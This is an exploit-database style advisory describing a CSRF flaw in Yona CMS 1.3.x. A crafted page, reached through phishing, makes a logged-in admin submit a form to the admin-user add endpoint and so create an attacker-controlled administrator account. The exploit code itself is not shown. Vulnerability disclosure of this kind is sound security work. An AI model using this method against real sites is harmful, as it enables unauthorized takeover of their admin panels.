<!--# Exploit Title: Yona CMS <= 1.3.x Remote Admin Add CSRF Exploit# Exploit Author: s0nk3y# Google Dork: -# Date: 21/06/2016# Vendor Homepage: http://yonacms.com# Software Link: https://github.com/oleksandr-torosh/yona-cms/# Version: 1.3.x# Tested on: Ubuntu 16.04
Yona CMS is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering), a form will be submitted
to (http://localhost/admin/admin-user/add) that will add a
new user as administrator.
Once exploited, the attacker can login to the admin panel (
http://localhost/admin)
using the username and the password he posted in the form.
